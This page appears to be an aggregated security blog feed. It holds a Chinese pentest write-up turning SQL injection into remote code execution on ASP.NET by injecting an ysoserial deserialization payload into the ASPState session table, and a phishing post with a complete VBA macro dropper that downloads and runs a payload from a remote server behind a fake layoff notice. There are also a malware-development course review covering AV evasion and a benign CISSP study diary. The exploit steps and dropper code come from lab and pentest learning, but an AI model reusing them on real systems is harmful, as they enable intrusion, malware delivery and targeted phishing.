Normal view

There are new articles available, click to refresh the page.
Before yesterdayUncategorized

從 SQL 到 RCE: 利用 SessionState 反序列化攻擊 ASP.NET 網站應用程式

20 April 2020 at 16:00

今日來聊聊在去年某次滲透測試過中發現的趣事,那是在一個風和日麗的下午,與往常一樣進行著枯燥的測試環節,對每個參數嘗試各種可能的注入,但遲遲沒有任何進展和突破,直到在某個頁面上注入 ?id=1; waitfor delay '00:00:05'--,然後他就卡住了,過了恰好 5 秒鐘後伺服器又有回應,這表示我們找到一個 SQL Server 上的 SQL Injection!

一些陳舊、龐大的系統中,因為一些複雜的因素,往往仍使用著 sa 帳戶來登入 SQL Server,而在有如此高權限的資料庫帳戶前提下,我們可以輕易利用 xp_cmdshell 來執行系統指令以取得資料庫伺服器的作業系統控制權,但假如故事有如此順利,就不會出現這篇文章,所以理所當然我們取得的資料庫帳戶並沒有足夠權限。但因為發現的 SQL Injection 是 Stacked based,我們仍然可以對資料表做 CRUD,運氣好控制到一些網站設定變數的話,甚至可以直接達成 RCE,所以還是試著 dump schema 以了解架構,而在 dump 過程中發現了一個有趣的資料庫:

Database: ASPState
[2 tables]
+---------------------------------------+
| dbo.ASPStateTempApplications          |
| dbo.ASPStateTempSessions              |
+---------------------------------------+

閱讀文件後了解到,這個資料庫的存在用途是用來保存 ASP.NET 網站應用程式的 session。一般情況下預設 session 是儲存在 ASP.NET 網站應用程式的記憶體中,但某些分散式架構(例如 Load Balance 架構)的情況下,同時會有多個一模一樣的 ASP.NET 網站應用程式運行在不同伺服器主機上,而使用者每次請求時被分配到的伺服器主機也不會完全一致,就會需要有可以讓多個主機共享 session 的機制,而儲存在 SQL Server 上就是一種解決方案之一,想啟用這個機制可以在 web.config 中添加如下設定:

<configuration>
    <system.web>
        <!-- 將 session 保存在 SQL Server 中。 -->
        <sessionState
            mode="SQLServer"
            sqlConnectionString="data source=127.0.0.1;user id=<username>;password=<password>"
            timeout="20"
        />
        
        <!-- 預設值,將 session 保存在記憶體中。 -->
        <!-- <sessionState mode="InProc" timeout="20" /> -->
 
        <!-- 將 session 保存在 ASP.NET State Service 中,
             另一種跨主機共享 session 的解決方案。 -->
        <!--
        <sessionState
            mode="StateServer"
            stateConnectionString="tcpip=localhost:42424"
            timeout="20"
        />
        -->
    </system.web>
</configuration>

而要在資料庫中建立 ASPState 的資料庫,可以利用內建的工具 C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_regsql.exe 完成這個任務,只需要使用下述指令即可:

# 建立 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssadd -sstype p

# 移除 ASPState 資料庫
aspnet_regsql.exe -S 127.0.0.1 -U sa -P password -ssremove -sstype p

現在我們了解如何設定 session 的儲存位置,且又可以控制 ASPState 資料庫,可以做到些什麼呢?這就是文章標題的重點,取得 Remote Code Execution!

ASP.NET 允許我們在 session 中儲存一些物件,例如儲存一個 List 物件:Session["secret"] = new List<String>() { "secret string" };,對於如何將這些物件保存到 SQL Server 上,理所當然地使用了序列化機制來處理,而我們又控制了資料庫,所以也能執行任意反序列化,為此需要先了解 Session 物件序列化與反序列化的過程。

簡單閱讀程式碼後,很快就可以定位出處理相關過程的類別,為了縮減說明的篇幅,以下將直接切入重點說明從資料庫取出資料後進行了什麼樣的反序列化操作。核心主要是透過呼叫 SqlSessionStateStore.GetItem 函式還原出 Session 物件,雖然已盡可能把無關緊要的程式碼移除,但行數還是偏多,如果懶得閱讀程式碼的朋友可以直接下拉繼續看文章說明 XD

namespace System.Web.SessionState {
    internal class SqlSessionStateStore : SessionStateStoreProviderBase {
        public override SessionStateStoreData  GetItem(HttpContext context,
                                                        String id,
                                                        out bool locked,
                                                        out TimeSpan lockAge,
                                                        out object lockId,
                                                        out SessionStateActions actionFlags) {
            SessionIDManager.CheckIdLength(id, true /* throwOnFail */);
            return DoGet(context, id, false, out locked, out lockAge, out lockId, out actionFlags);
        }

        SessionStateStoreData DoGet(HttpContext context, String id, bool getExclusive,
                                        out bool locked,
                                        out TimeSpan lockAge,
                                        out object lockId,
                                        out SessionStateActions actionFlags) {
            SqlDataReader       reader;
            byte []             buf;
            MemoryStream        stream = null;
            SessionStateStoreData    item;
            SqlStateConnection  conn = null;
            SqlCommand          cmd = null;
            bool                usePooling = true;

            buf = null;
            reader = null;
            conn = GetConnection(id, ref usePooling);

            try {
                if (getExclusive) {
                    cmd = conn.TempGetExclusive;
                } else {
                    cmd = conn.TempGet;
                }

                cmd.Parameters[0].Value = id + _partitionInfo.AppSuffix; // @id
                cmd.Parameters[1].Value = Convert.DBNull;   // @itemShort
                cmd.Parameters[2].Value = Convert.DBNull;   // @locked
                cmd.Parameters[3].Value = Convert.DBNull;   // @lockDate or @lockAge
                cmd.Parameters[4].Value = Convert.DBNull;   // @lockCookie
                cmd.Parameters[5].Value = Convert.DBNull;   // @actionFlags

                using(reader = SqlExecuteReaderWithRetry(cmd, CommandBehavior.Default)) {
                    if (reader != null) {
                        try {
                            if (reader.Read()) {
                                buf = (byte[]) reader[0];
                            }
                        } catch(Exception e) {
                            ThrowSqlConnectionException(cmd.Connection, e);
                        }
                    }
                }

                if (buf == null) {
                    /* Get short item */
                    buf = (byte[]) cmd.Parameters[1].Value;
                }

                using(stream = new MemoryStream(buf)) {
                    item = SessionStateUtility.DeserializeStoreData(context, stream, s_configCompressionEnabled);
                    _rqOrigStreamLen = (int) stream.Position;
                }
                return item;
            } finally {
                DisposeOrReuseConnection(ref conn, usePooling);
            }
        }
        
        class SqlStateConnection : IDisposable {
            internal SqlCommand TempGet {
                get {
                    if (_cmdTempGet == null) {
                        _cmdTempGet = new SqlCommand("dbo.TempGetStateItem3", _sqlConnection);
                        _cmdTempGet.CommandType = CommandType.StoredProcedure;
                        _cmdTempGet.CommandTimeout = s_commandTimeout;
                        // ignore process of setting parameters
                    }
                    return _cmdTempGet;
                }
            }
        }
    }
}

我們可以從程式碼清楚看出主要是呼叫 ASPState.dbo.TempGetStateItem3 Stored Procedure 取得 Session 的序列化二進制資料並保存到 buf 變數,最後將 buf 傳入 SessionStateUtility.DeserializeStoreData 進行反序列化還原出 Session 物件,而 TempGetStateItem3 這個 SP 則是相當於在執行 SELECT SessionItemShort FROM [ASPState].dbo.ASPStateTempSessions,所以可以知道 Session 是儲存在 ASPStateTempSessions 資料表的 SessionItemShort 欄位中。接著讓我們繼續往下看關鍵的 DeserializeStoreData 做了什麼樣的操作。同樣地,行數偏多,有需求的朋友請自行下拉 XD

namespace System.Web.SessionState {
    public static class SessionStateUtility {

        [SecurityPermission(SecurityAction.Assert, SerializationFormatter = true)]
        internal static SessionStateStoreData Deserialize(HttpContext context, Stream stream) {
            int                 timeout;
            SessionStateItemCollection   sessionItems;
            bool                hasItems;
            bool                hasStaticObjects;
            HttpStaticObjectsCollection staticObjects;
            Byte                eof;

            try {
                BinaryReader reader = new BinaryReader(stream);
                timeout = reader.ReadInt32();
                hasItems = reader.ReadBoolean();
                hasStaticObjects = reader.ReadBoolean();

                if (hasItems) {
                    sessionItems = SessionStateItemCollection.Deserialize(reader);
                } else {
                    sessionItems = new SessionStateItemCollection();
                }

                if (hasStaticObjects) {
                    staticObjects = HttpStaticObjectsCollection.Deserialize(reader);
                } else {
                    staticObjects = SessionStateUtility.GetSessionStaticObjects(context);
                }

                eof = reader.ReadByte();
                if (eof != 0xff) {
                    throw new HttpException(SR.GetString(SR.Invalid_session_state));
                }
            } catch (EndOfStreamException) {
                throw new HttpException(SR.GetString(SR.Invalid_session_state));
            }
            return new SessionStateStoreData(sessionItems, staticObjects, timeout);
        }
    
        static internal SessionStateStoreData DeserializeStoreData(HttpContext context, Stream stream, bool compressionEnabled) {
            return SessionStateUtility.Deserialize(context, stream);
        }
    }
}

我們可以看到實際上 DeserializeStoreData 又是把反序列化過程轉交給其他類別,而依據取出的資料不同,可能會轉交給 SessionStateItemCollection.DeserializeHttpStaticObjectsCollection.Deserialize 做處理,在觀察程式碼後發現 HttpStaticObjectsCollection 的處理相對單純,所以我個人就選擇往這個分支下去研究。

namespace System.Web {
    public sealed class HttpStaticObjectsCollection : ICollection {
        static public HttpStaticObjectsCollection Deserialize(BinaryReader reader) {
            int     count;
            string  name;
            string  typename;
            bool    hasInstance;
            Object  instance;
            HttpStaticObjectsEntry  entry;
            HttpStaticObjectsCollection col;

            col = new HttpStaticObjectsCollection();

            count = reader.ReadInt32();
            while (count-- > 0) {
                name = reader.ReadString();
                hasInstance = reader.ReadBoolean();
                if (hasInstance) {
                    instance = AltSerialization.ReadValueFromStream(reader);
                    entry = new HttpStaticObjectsEntry(name, instance, 0);
                }
                else {
                    // skipped
                }
                col._objects.Add(name, entry);
            }

            return col;
        }
    }
}

跟進去一看,發現 HttpStaticObjectsCollection 取出一些 bytes 之後,又把過程轉交給 AltSerialization.ReadValueFromStream 進行處理,看到這的朋友們或許會臉上三條線地心想:「該不會又要追進去吧 . . 」,不過其實到此為止就已足夠,因為 AltSerialization 實際上類似於 BinaryFormatter 的包裝,到此已經有足夠資訊作利用,另外還有一個原因兼好消息,當初我程式碼追到此處時,上網一查這個物件,發現 ysoserial.net 已經有建立 AltSerialization 反序列化 payload 的 plugin,所以可以直接掏出這個利器來使用!下面一行指令就可以產生執行系統指令 calc.exe 的 base64 編碼後的 payload。

ysoserial.exe -p Altserialization -M HttpStaticObjectsCollection -o base64 -c "calc.exe"

不過到此還是有個小問題需要解決,ysoserial.net 的 AltSerialization plugin 所建立的 payload 是攻擊 SessionStateItemCollection 或 HttpStaticObjectsCollection 兩個類別的反序列化操作,而我們儲存在資料庫中的 session 序列化資料是由在此之上還額外作了一層包裝的 SessionStateUtility 類別處理的,所以必須要再做點修飾。回頭再去看看程式碼,會發現 SessionStateUtility 也只添加了幾個 bytes,減化後如下所示:

timeout = reader.ReadInt32();
hasItems = reader.ReadBoolean();
hasStaticObjects = reader.ReadBoolean();

if (hasStaticObjects)
    staticObjects = HttpStaticObjectsCollection.Deserialize(reader);

eof = reader.ReadByte();

對於 Int32 要添加 4 個 bytes,Boolean 則是 1 個 byte,而因為要讓程式路徑能進入 HttpStaticObjectsCollection 的分支,必須讓第 6 個 byte 為 1 才能讓條件達成,先將原本從 ysoserial.net 產出的 payload 從 base64 轉成 hex 表示,再前後各別添加 6、1 bytes,如下示意圖:

  timeout    false  true            HttpStaticObjectsCollection             eof
┌─────────┐  ┌┐     ┌┐    ┌───────────────────────────────────────────────┐ ┌┐
00 00 00 00  00     01    010000000001140001000000fff ... 略 ... 0000000a0b ff

修飾完的這個 payload 就能用來攻擊 SessionStateUtility 類別了!

最後的步驟就是利用開頭的 SQL Injection 將惡意的序列化內容注入進去資料庫,如果正常瀏覽目標網站時有出現 ASP.NET_SessionId 的 Cookie 就代表已經有一筆對應的 Session 記錄儲存在資料庫裡,所以我們只需要執行如下的 SQL Update 語句:

?id=1; UPDATE ASPState.dbo.ASPStateTempSessions
       SET SessionItemShort = 0x{Hex_Encoded_Payload}
       WHERE SessionId LIKE '{ASP.NET_SessionId}%25'; --

分別將 {ASP.NET_SessionId} 替換成自己的 ASP.NET_SessionId 的 Cookie 值以及 {Hex_Encoded_Payload} 替換成前面準備好的序列化 payload 即可。

那假如沒有 ASP.NET_SessionId 怎麼辦?這表示目標可能還未儲存任何資料在 Session 之中,所以也就不會產生任何記錄在資料庫裡,但既然沒有的話,那我們就硬塞一個 Cookie 給它!ASP.NET 的 SessionId 是透過亂數產生的 24 個字元,但使用了客製化的字元集,可以直接使用以下的 Python script 產生一組 SessionId,例如:plxtfpabykouhu3grwv1j1qw,之後帶上 Cookie: ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw 瀏覽任一個 aspx 頁面,理論上 ASP.NET 就會自動在資料庫裡添加一筆記錄。

import random
chars = 'abcdefghijklmnopqrstuvwxyz012345'
print(''.join(random.choice(chars) for i in range(24)))

假如在資料庫裡仍然沒有任何記錄出現,那就只能手動刻 INSERT 的 SQL 來創造一個記錄,至於如何刻出這部分?只要看看程式碼應該就可以很容易構造出來,所以留給大家自行去玩 :P

等到 Payload 順利注入後,只要再次用這個 Cookie ASP.NET_SessionId=plxtfpabykouhu3grwv1j1qw 瀏覽任何一個 aspx 頁面,就會觸發反序列化執行任意系統指令!

題外話,利用 SessionState 的反序列化取得 ASP.NET 網站應用程式主機控制權的場景並不僅限於 SQL Injection。在內網滲透測試的過程中,經常會遇到的情境是,我們透過各方的資訊洩漏 ( 例如:內部 GitLab、任意讀檔等 ) 取得許多 SQL Server 的帳號、密碼,但唯獨取得不了目標 ASP.NET 網站應用程式的 Windows 主機的帳號密碼,而為了達成目標 ( 控制指定的網站主機 ),我們就曾經使用過這個方式取得目標的控制權,所以作為內網橫向移動的手段也是稍微有價值且非常有趣。至於還能有什麼樣的花樣與玩法,就要靠各位持續地發揮想像力!

Free Cyber Materials BC Of Covid

11 April 2020 at 11:20

Hello Community,

Really terrible times we’re living in right now. It doesn’t help to literally be right in the “thick of it”. My family and I are unaffected at the moment. Praying for humanity at this point.

Anyways – there’s been a bunch of free goodies going on and I wouldn’t be proper if I didn’t attempt to put some of them in a central place to provide to others 👊🏼💯 Hats off to these organizations since none of this was required at all.

Leave a comment if you’ve found something I haven’t mentioned for others who visit after you. Stay Safe 📿🙏🏼

 

Note: I get no credit for any of this! I’m simply compiling the materials in one place for you

The post Free Cyber Materials BC Of Covid appeared first on Certification Chronicles.

Pharm Raised Phish 😅🤠

31 March 2020 at 15:55

Life after CISSP:

I had so much housekeeping that I couldn’t attend to while studying (physically and digitally). My office was a complete mess. I lost access to my switch since there was a power outage and sadly I didn’t copy running-config to startup-config. Off my switch is basically everything besides wireless. My ESXI lab, my NAS, all my Raspberry Pis, and everything else. It’s tough to go from risk management to configuring ACLS and VLANs 🤣 Took me about a week to update (and save) switch configuration, cleanup my NAS, cleanup all my machines & VMs, destroy my ESXI lab and rebuild it. Just like before my ESXI lab simulates a corporate network, active directory environment with an assortment of machines running various services. I use PFSense as a virtual firewall/router. This allows you to simulate someone attacking over the WAN and having your LAN protected by a security device just like normal. You can google security courses, CTFs, to get an idea of typical lab environments. This is helpful because after you spend days importing/uploading/provisioning 5 VMs – now what? You still don’t have any services or applications running. This groundwork is fruitful we all have to spend the time to stand things up before we can even begin to start thinking about playing around.


Keeping Busy:

I begin to think about what I want to learn more about. I find an Advanced Penetration book focusing on adversary emulation and APTs that I fell in love with. It’s ironic as well because the only reason this book stood out was it was only 230 pages. I thought damn either this things is complete garbage and captures .01% of something irrelevant that some other guy loved or it’s chock full of gems. It was the latter! My heads spinning as we write our own VBA dropper, that writes a VBS file to the disk, that download the payload and execute reverse shell. At the end of chapter one we’re on writing your own C2C infrastructure implementing libssh. Just something about seeing that hardcore C with the Windows API calls that brings fear and so much curiosity! Progressively improving our payloads and infrastructure as it progresses. Here’s the book

I bet you can see where this is going. To reinforce concepts I replicated the payloads and attack from the book in my lab environment.
Here’s the scenario:

  1. Somehow through password reuse you’ve gained access (attacker) to an organizations webmail login
  2. As a budding hacker you understand situational awareness. Your target is an IT Administrator – whom is probably already a little concerned over his job security. Since through
    reconnaissance you’ve learned that 30% of the entire IT staff has already been furloughed since the pandemic began.
  3. You craft a fake Word document that seems to be a notice of this months layoffs and “mistakenly” send it to the administrator. You dress it up really nice with all the Confidential headers and footers. Of course there is no document it’s a blurred image and enabling macros is going to begin and carry out the compromise. Is looks like this



    Payload:
    Sub AutoOpen()

    Dim PayloadFile As Integer

    Dim FilePath As String

    FilePath = "C:\tmp\payload.vbs"

    PayloadFile = FreeFile


    ' Create VBS dropper, write it to disk and execute it. VBS reaches out to remote server downloads payload and executes it.

    Open FilePath For Output As PayloadFile


    Print #PayloadFile, "HTTPDownload ""https://REMOTE-SERVER/PAYLOAD.EXE"", ""C:\tmp\"""

    Print #PayloadFile, ""

    Print #PayloadFile, "Sub HTTPDownload(myURL, myPath)"

    Print #PayloadFile, "Dim i, objFile, objFSO, objHTTP, strFile, strMsg, currentChar,res,decoded_char"

    Print #PayloadFile, " Const ForReading = 1, ForWriting = 2, ForAppending = 8"

    Print #PayloadFile, " Set objFSO = CreateObject(""Scripting.FileSystemObject"")"

    Print #PayloadFile, " If objFSO.FolderExists(myPath) Then"

    Print #PayloadFile, " strFile = objFSO.BuildPath(myPath,Mid(myURL,InStrRev( myURL,""/"")+ 1))"

    Print #PayloadFile, " ElseIf objFSO.FolderExists(Left(myPath,InStrRev( myPath, ""\"" )- 1)) Then"

    Print #PayloadFile, " strFile = myPath"

    Print #PayloadFile, " End If"

    Print #PayloadFile, ""

    Print #PayloadFile, " Set objFile = objFSO.OpenTextFile(strFile, ForWriting, True)"

    Print #PayloadFile, " Set objHTTP = CreateObject(""WinHttp.WinHttpRequest.5.1"")"

    Print #PayloadFile, " objHTTP.Open ""GET"", myURL, False"

    Print #PayloadFile, " objHTTP.Send"

    Print #PayloadFile, ""

    Print #PayloadFile, " res = objHTTP.ResponseBody"

    Print #PayloadFile, " For i = 1 To LenB(objHTTP.ResponseBody)"

    Print #PayloadFile, " currentChar = Chr(AscB(MidB(objHTTP.ResponseBody, i, 1)))"

    Print #PayloadFile, " objFile.Write currentChar"

    Print #PayloadFile, " Next"

    Print #PayloadFile, " objFile.Close( )"

    Print #PayloadFile, " Set WshShell = WScript.CreateObject(""WScript.Shell"")"

    Print #PayloadFile, " WshShell.Run ""C:\tmp\PAYLOAD.EXE""

    Print #PayloadFile, " End Sub"

    Close PayloadFile

    Shell "wscript c:\tmp\payload.vbs"

    End Sub


  4. The administrator viciously open the email, macro detonates, payload execute and you get your reverse shell.

Now that we got a way to execute payloads now on to converting the payload into a C2 host and setting the infrastructure! Here’s a videos of the process.

How’d I Get Phished from S7acktrac3 on Vimeo.

The post Pharm Raised Phish 😅🤠 appeared first on Certification Chronicles.

A Review of the Sektor7 RED TEAM Operator: Malware Development Essentials Course

24 March 2020 at 15:20

A Review of the Sektor7 RED TEAM Operator: Malware Development Essentials Course

Introduction

I recently discovered the Sektor7 RED TEAM Operator: Malware Development Essentials course on 0x00sec and it instantly grabbed my interest. Lately I’ve been working on improving my programming skills, especially in C, on Windows, and in the context of red teaming. This course checked all those boxes, and was on sale for $95 to boot. So I broke out the credit card and purchased the course.

Custom code can be a huge benefit during pentesting and red team operations, and I’ve been trying to level up in that area. I’m a pentester by trade, with a little red teaming thrown in, so this course was right in my wheelhouse. My C is slightly rusty, not having done much with it since college, and almost exclusively on Linux rather than Windows. I wasn’t sure how prepared I would be for the course, but I was willing to try harder and do as much research as I needed to get through it.

Course Overview

The course description reads like this:

It will teach you how to develop your own custom malware for latest Microsoft Windows 10. And by custom malware we mean building a dropper for any payload you want (Metasploit meterpreter, Empire or Cobalt Strike beacons, etc.), injecting your shellcodes into remote processes, creating trojan horses (backdooring existing software) and bypassing Windows Defender AV.

It’s aimed at pentesters, red teamers, and blue teamers wanting to learn the details of offensive malware. It covers a range of topics aimed at developing and delivering a payload via a dropper file, using a variety of mechanisms to encrypt, encode, or obfuscate different elements of the executable. From the course page the topics include:

  • What is malware development
  • What is PE file structure
  • Where to store your payload inside PE
  • How to encode and encrypt payloads
  • How and why obfuscate function calls
  • How to backdoor programs
  • How to inject your code into remote processes

RTO: Malware Development Essentials covers the above with 9 different modules, starting with the basics of the PE file structure, ending with combining all the techniques taught to create a dropper executable that evades Windows Defender while injecting a shellcode payload into another process.

The course is delivered via a content platform called Podia, which allows streaming of the course videos and access to code samples and the included pre-configured Windows virtual machine for compiling and testing code. Podia worked quite well, and the provided code was clear, comprehensive, well-commented, and designed to be reusable later to create your own executables.

Module 1: Intro and Setup

The intro and setup module covers a quick into to the course and getting access to the excellent sample code and a virtual machine OVA image that contains a development environment, debugger, and tools like PEBear. I really like that the VM was provided, as it made jumping in and following along effortless, as well as saving time creating a development environment.

Module 2: Portable Executable

This module covers the Portable Executable (PE) format, how it is structured, and where things like code and data reside within it. It introduces PEBear, a tool for exploring PE files I’d not used before. It also covers the differences between executables and DLLs on Windows.

Module 3: Droppers

The dropper module covers how and where to store payload shellcode within a PE, using the .text, .data, and .rsrc sections. It also covers including external resources and compiling them into the final .exe.

Module 4: Obfuscation and Hiding

Obfuscation and hiding was one of my favorite modules. Anyone that has had their shellcode or implants caught will appreciate knowing how to use AES and XOR to encrypt payloads, and how to dynamically decrypt them at runtime to prevent static analysis. I also learned a lot about Windows and the Windows API through the sections on dynamically resolving functions and function call obfuscation.

Module 5: Backdoors and Trojans

This section covered code caves, hiding data within a PE, and how to backdoor an existing executable with a payload. x64dbg debugger is used extensively to examine a binary, find space for a payload, and ensure that the existing binary still functions normally. Already knowing assembly helped me here, but it’s explained well enough for those with little to no assembly knowledge to follow along.

Module 6: Code Injection

I learned a ton from this section, and it really clarified my knowledge of process injection, including within a process, between processes, and using a DLL. VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread are more than just some function names involving process injection to me now.

Module 7: Extras

This module covered the differences between GUI and console programs on Windows, and how to ensure the dreaded black console window does not appear when your payload is executed.

Module 8: Combined Project

This was the culmination of the course, where you are walked through combining all the individual techniques and tools you learned throughout the course into a single executable. I suggest watching it and then doing it yourself independently to really internalize the material.

Module 9: Assignment

The last module is an assignment, which asks you to take what you’ve learned in the combined project and more fully implement some of the techniques, as well as providing some suggestions for real-world applications of the course content you can try by yourself.

Takeaways

I learned a heck of a lot from this course. It was not particularly long, but it covered the topics thoroughly and gave me a good base to build from. I can’t remember a course where I learned so much in so little time. Not only did I learn what was intended by the course, but there were a lot of ancillary things I picked up along the way that weren’t explicitly covered.

C on Windows

I found the course to be a good introduction to C on Windows, assuming you are already familiar with C. It’s not a beginning C programming course by any means. Most of my experience with C has been on Linux with gcc, and the course provided practical examples of how to write C on Windows, how to use MSDN effectively, how to structure programs, and how to interact with DLLs. I was familiar with many of the topics at a high level, but there’s no substitute for digging in and writing code.

Intro to the Windows API

I also learned a great deal on how the Windows API works and how to interact with it. The section on resolving functions manually was especially good. I have a much stronger grasp of how Windows presents different functionalities, and how to lookup functions and APIs on MSDN to incorporate them into my own code.

Making Windows Concepts Concrete

As mentioned above, there were a lot of areas I knew about at a high level, like process injection, DLLs, the Import Address Table, even some Windows APIs like WriteProcessMemory and CreateRemoteThread. But once I looked up their function signatures on MSDN, called them myself, created my own DLLs, and obfuscated the IAT, I had a much more concrete understanding of each topic, and I feel much more prepared to write my own tools in the future using what I’ve learned.

A Framework For Building Your Own Payloads

The way the course built from small functions and examples, all meant to be reused and built upon, really made the course worthwhile and feel like an investment I could take advantage of later in my own tools. I’ve already managed to craft a dropper that executes a staged Cobalt Strike payload that evades Windows Defender. How’s that for a practical hands-on course?

No Certification Exam

The course is not preparation for or in any way associated with a certification exam, which in this case I think is a good thing. The course presents fundamental knowledge that is immensely useful in offensive security, and I think it’s best learned for its own sake rather than to add more letters after your name. I like certifications in general and have several, but I found myself not worried about covering the material for an exam and enjoyed learning the material and thinking of practical applications of it at work and in CTFs, Hack The Box, etc. instead. It’s a nice feeling.

Conclusion

I loved this course, and reenz0h is a phenomenal instructor. If it’s not been obvious so far, I’ve gained a lot of fascinating and practical knowledge that will be useful far into the future. My recommendation: take this course if you can. It’s affordable, not an excessive time commitment, and worth every second and penny you spend on it. And just in case my enthusiasm comes across as excessive or shilling, I have no association with Sektor7, their employees, or the authors of the course. Just a happy pentester with some new skills.

Slayed CISSP

15 March 2020 at 23:03

I saw this day a countless amount of times in the last two months. Typing this blog post after passing the exam, is a surreal feeling. Forecasting a goal, envisioning its completion, and driving it home is the things fairy-tales are made of. How the air smells at that time? What does it taste like? Why I deserve it? How all the countless hours of study I am willing to endure would eventually lead to pay-dirt and once again, me on top! Triumphant. How relieved I’d be? How much elation I’d be feeling. Like having a superpower to force anything I want into existence. Gotta have that vision!

I’ll get to what studying looked like, felt like, exam review dialogue and such soon. Yes! This post is LONG. But guess what I’m the one who had to write it. I didn’t do it for myself, I did it for you. The length was dictated by however many words I needed to produce a post with the context of what I would have wanted in hindsight after passing the exam. Most of the blogs I see are humble brags of people looking for everyone to kiss their feet since they passed it. Some are really good like the ones at the end of the post. Some are long and list out key things you should be on the lookout like CMMI or BCP without any other context. Continuing by saying how it was the MOST difficult test of their life, they felt like they were going to fail when the test ended. I just don’t think this is or has to be the typical case. Anyone can pass CISSP – keep reading and I’ll detail how to study and why most of the practice materials are broken. You could extrapolate something out of that too (if you only use the recommended study materials you will fail).

The point needs to be restated that I think the journey is the most valuable portion of attempting certifications not the actual cert. This one for instance, proves you are not only familiar with all the content from the 8 domains, but also, able to synthesis and apply it to scenario-based situations using sound risk management principals acting as an Information Security Manager. Not only do I want to provide a valuable resource for exam preparation but also give you insight and texture into my life during the entire process.

Part-1: What’s My Motivation?

Time: Late December 2019

Self Introspection (self observation) – is important as it’s a kind of regular check on self development which helps you to know what we have achieved so far.

I was promoted in December 2019 to Application Security Manager 😛 (for context). Christmas is a really special time in the Caribbean so I try to be there every year during that holiday period. (That’s how you end the year baby 👊🏽) So literally the next day after getting home from the trip (still having a week off before I go back to work) I start to get the feeling. Anybody know what I’m talking bout? The thirst? Watch TV for maybe a few hours, go out a day, chill then it’s like “What am I doing with my life? What’s all this idle time I have? How do normal people do nothing for most of their lives? Happens to me every time 💯

I had preconceived thoughts about CISSP honestly. “It’s typical to fail on first try” … “It’s a management exam” … “It’s an inch deep mile wide”  … “Reddit horror stories”  … “Folks literally studying on average 6 months some 1 year”. After doing some research I decided it was the one for me. Not only would it give some sort of legitimacy to my new position, it would, in addition, significantly broaden my understanding of Information Security and Risk Management.

I ordered the following studying materials the same day based on research from CISSP sub-reddit:

Major S/O to that sub it’s a trove of information! That’s part of why blog. As to keep this process continually flowing. Provide helpful materials to those after you.  We have to realize 90% of the time we’re acting as consumers not producers. I think it takes a certain level of appreciation for the field overall to be devoted to giving back in whatever form you can. We all have something we can contribute ‼

Life happened and I wasn’t able to start studying immediately. Shame because I got a free same-day delivery of the books. I never even opened the package when it came. Put it in my office and it sat there for most of January.

Part-2: What Was The Preparation Like?

Time: End of January 2020

Thinking about sports and basketball in particular – How many free throws might a average player shoot per day when trying to improve their percentage? 50 free throws per day? 100? 500? That number may actuality be well around 2 thousand or more. Now lets abstract that a little and dumb it down for a second. It’s not going to be anything novel. You need to consistently be shooting your free throws. In this case it all the practicing, reading all the materials from different sources, doing more practice questions, flashcards it’s all apart of the process. You can’t go a weekend without studying, or even a day. Consistently & repeatedly!

You guys know by now, there’s nothing special about me I just feel like when I really want something there an insatiable thirst to quench and borderline obsession maybe for me to get it. I guess what I’m trying to say is I know how to “Lock In”. I literally had hundreds of unanswered LinkedIn messages, DMs, text everything. I cut everybody off and focused at the task at hand. It would need my upmost attention at all times. There’s absolutely no going out, minimal TV, if I’m commuting I’m reading, if I’m on break I’m reading or researching, when I get home I’m getting settled at say 5 pm and then grinding till I’m dosing off. In bed i’m reading. When I wake up before I get out the bed I’m reading. Around this time is when you realize you could live with someone and be a complete stranger to them in the same house 😂 So some of the attributes that describes someone in this stage is consistency, dedication, resolve, discipline, resiliency.

You have to REALLY want it. When you do you are laser-focused. As random as this is I see myself in my head as i’m typing this as heat-seeking missile. I’m coming in hot and I will not miss! I care about accuracy and precision. You get the picture. Whatever it means to you – “Lock In” that’s the mode you need to be in – keeping in mind it’s a marathon not a sprint. Life will happen some days you’ll be much more motivated than others – but anything in your control better be related to CISSP.

  • Sybex Official Study Guide 8th Edition  (8/10) – This behemoth took me about 2 weeks to finish. I didn’t read it intently but more skimming and identifying what I absolutely don’t know, or if I know something’s right for the wrong reason. You can register the Sybex book along w/ the practice test on the Wiley test bank. It allows you to take the chapter questions in the exam atmosphere instead of writing in the book as well as practice exams. All your work is tracked and saved. After I finished reading the book I registered it and proceeded to go thru each domain’s chapter questions. I would say my average was in the 60’s for most of them. Bunch of new material, definitely vast amount of knowledge you need for every single domain. I was familiar with the SDLC / Security Testing / IR domains from work related experience. Gets two dings for being so damn big. Very useful but again it’s not something you can use alone to pass exam despite it being the “Official Study Guide” 🤔
  • Kelly Handerhan’s (9/10) – Sadly these aren’t free anymore 😥 She really does an amazing job of relaying complex topics in easy digestible manner. She also gives you the 2nd half of what you need to pass, the mindset. Even with the recent price change I still think this worth however much it cost. You won’t read one Reddit or ISC2 post that doesn’t mention her. Gets a ding since you can’t alone pass exam with this.Scored low on my first Sybex Practice after her videos. I spot checked which domains I was coming up short in and went back to read it in the Sybex book again.
    Boson Test Engine (8/10) – One of the most valuable resources. Great bank of test questions that have amazing well written thorough explanations. The secret sauce here is no matter if you get an answer incorrect or not you read the explanation. You’re confirming here if you were right for the wrong reason, or why you were wrong, or in what scenarios may one of the answer could possibly be right in another situation. That’s the beauty of Boson. This helps you identity where you’re weak. Guess what you do after? You use the book or another source (tons of material out there) to better understand whatever it is.The reason Boson gets 2 dings is that the beauty is in their explanations not necessarily the questions. Which in hindsight are way to technical. Which are reminiscent of all the study material test.
  • It’s now about mid-February and a blessing falls from the sky directly into my lap. I find my MOST valuable resource.
    Discord CISSP Server (12/10). This type of forum was perfect for most of my learning when tackling technical certs so I knew it would push me here. We’re equally amazing but some unmatched wisdom in there for sure! This drastically improved the amount of information you retain as well as increase the depth of such information respectively. I think this is the case because you’re not just you in your head alone in your room with a book. You’re now defending your argument on a particular question, or understanding why you’re wrong, this goes on 24/7 since the group is global. 4 pm EST or 4 am there’s going to be active discussions ALWAYS going on. There’s a psychological aspect to this as well. Feeling like you’re alone in a fight is depressing. Having an active army of mission-oriented soldiers all ready to fight, defend and operate 🔫 ?! Oh now this is a whole different story! Don’t underestimate the power of a topic being explained to you by a person instead of a blog post. I’ll forever be apart of this channel – definitely my new brothers and sisters. Blame most of me passing on them!
